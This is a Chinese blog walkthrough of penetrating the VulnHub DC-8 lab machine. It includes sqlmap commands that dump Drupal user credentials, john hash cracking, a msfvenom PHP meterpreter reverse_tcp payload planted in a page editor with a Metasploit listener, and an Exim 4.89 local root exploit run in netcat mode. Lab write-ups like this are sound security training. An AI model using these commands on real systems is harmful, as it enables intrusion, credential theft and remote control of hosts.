准备工作

在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub

导入到vmware,设置成NAT模式

打开kali准备进行渗透(ip:192.168.200.6)

信息收集

利用nmap进行ip端口探测

nmap -sS 192.168.200.6/24

探测到ip为192.168.200.22的靶机,开放了80端口和22端口

再用nmap对所有端口进行探测,确保没有别的遗漏信息  

nmap -sV -p- 192.168.200.22

打开80端口查看,又是熟悉的界面Drupal 框架,但这次是Drupal7

dirsearch扫目录发现了xmlrpc.php和后台登陆页面

观察了一下页面,发现有传参,判断可能存在注入,下面进行测试

SQL注入

经过测试发现存在sql注入

利用sqlmap进行攻击,爆出数据库d7db

sqlmap -u "http://192.168.200.22/?nid=1" --dbs

再找到users表

sqlmap -u "http://192.168.200.22/?nid=1" -D d7db --tables

接着爆列名

sqlmap -u "http://192.168.200.22/?nid=1" -D d7db -T 'users' --columns

最后爆数据

sqlmap -u "http://192.168.200.22/?nid=1" -D d7db -T 'users' -C uid,name,pass --dump

拿到账号和加密过后的密码,看样子像之前DC3的那种加密,用john来爆

john解密

先将密码保存下来之后进行爆破,但是只爆到了一个密码

登陆了一下发现不是admin的密码,john登陆进去了

在后台发现,可以增加页面,也可以编辑页面,和dc7的情况差不多

但是增加的页面不能选择以php代码执行,找了一会发现 编辑contact us页面可以以php代码执行

试了一下phpinfo();发现没有显示,可能只是没有回显,但代码已经保存了。接下来我利用msf进行后门监听

msf后门利用

首先先用msfvenom生成后门,然后用后门的代码复制到编辑页面

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.200.6 LPORT=4444 R > test.php 

接着打开msf,输入命令进行监听

use exploit/multi/handler //使用handler模块

set PAYLOAD php/meterpreter/reverse_tcp   //设置payload

set LHOST 192.168.200.6   //监听

run

然后返回contact us界面,随便输入点东西提交,就返回shell到kali了

权限提升

拿到webshell之后进行提权

先获取交互式shell

python -c'import pty;pty.spawn("/bin/bash")'

进行简单的信息收集

find / -perm -u=s -type f 2>/dev/null

还使用了linux-exploit-suggester-master脚本去跑漏洞,没有发现什么可利用的权限提升漏洞,看了wp才注意到exim4这个东西

exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限。查找一下关于exim4的漏洞,首先看看版本

exim 4.89

找到了对应版本的本地提权利用脚本 

完整路径是:/usr/share/exploitdb/exploits/+path中的脚本路径 

看了下文件有两种提权方法,一个是setuid 一个是netcat

在meterpreter会话中将这个文件上传到靶机上

upload /usr/share/exploitdb/exploits/linux/local/46996.sh /tmp/shell.sh

 给脚本文件添加执行权限

chmod +x shell.sh

但无论执行什么都报错,查了一下是文件格式导致的。要想执行46996.sh文件,需要修改文件format为unix格式

在kali用vi打开脚本修改格式   输入 :set ff=unix,然后再重新上传脚本

使用了第一种方法提权失败-m setuid

第二种方法-m netcat成功,但是很不稳定,过了一会又变成www-data

可以趁root权限的时候用nc反弹shell维持稳定

进入root过关

  

 

  

vulnhub-DC:8靶机渗透记录的更多相关文章

  1. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  2. vulnhub-DC:5靶机渗透记录

    准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  3. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  4. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  5. vulnhub-DC:3靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/ 导入到vmware 导入的时候遇到一个问题 解决方法: 点 "虚拟机" ...

  6. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  7. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

  8. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  9. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

随机推荐

  1. 10、mysql增量恢复实战

    10.1.实验数据: mysql> select * from test; +----+------+------+ | id | name | age | +----+------+----- ...

  2. oracle :如何测试数据库安装是否成功

    要测试数据安装是否成功,可按顺序执行以下两个步骤: 测试步骤 1:  请执行操作系统级的命令: tnsping orcl (如果出现[TNS-03505:无法解析名称]的提示错误: 那就改为tnspi ...

  3. 精尽Spring Boot源码分析 - 配置加载

    该系列文章是笔者在学习 Spring Boot 过程中总结下来的,里面涉及到相关源码,可能对读者不太友好,请结合我的源码注释 Spring Boot 源码分析 GitHub 地址 进行阅读 Sprin ...

  4. python之字典(dict)基础篇

    字典:dict 特点: 1>,可变容器模型,且可存储任意类型对象,字符串,列表,元组,集合均可: 2>,以key-value形式存在,每个键值 用冒号 : 分割,每个键值对之间用逗号 , ...

  5. 海量数据Excel报表利器——EasyExcel(一 利用反射机制导出Excel)

    EasyExcel 写入(导出) 互联网的精髓就是共享,可以共享技术.共享经验.共享情感.共享快乐~ 很多年前就有这个想法了,从事IT行业时间也不短了,应该把自己工作和业余所学习的东西记录并分享出来, ...

  6. Python 删除满足条件的某些行

    数据: data 字段:col 要删除的内容是 col == False 的行 # 方案一 data1 = data[~data['col'] == False] # ~ 取反 # 方案二 保留 da ...

  7. PHP观察者模式 (转)

      观察者模式(Observer),当一个对象的状态发生改变时,依赖他的对象会全部收到通知,并自动更新. 场景:一个事件发生后,要执行一连串更新操作.传统的编程方式,就是在事件的代码之后直接加入处理逻 ...

  8. Jmeter监控服务器CPU,Memory,Disk,Network性能指标

    本文主要说一下如何通过JMeter插件来监控服务器CPU.内存.磁盘.网络等相关资源. 一.下载 第一种方案: 首先进入网址https://jmeter-plugins.org/downloads/o ...

  9. cron表达式详解(转)

    Cron表达式是一个字符串,字符串以5或6个空格隔开,分为6或7个域,每一个域代表一个含义,Cron有如下两种语法格式: (1) Seconds Minutes Hours DayofMonth Mo ...

  10. Django基础-03篇 操作Django自带的admin后台

    1.使用model.py来定义表结构,使用命令同步到数据库 python manage.py makemigrations #生成表结构(py) python manage.py makemigrat ...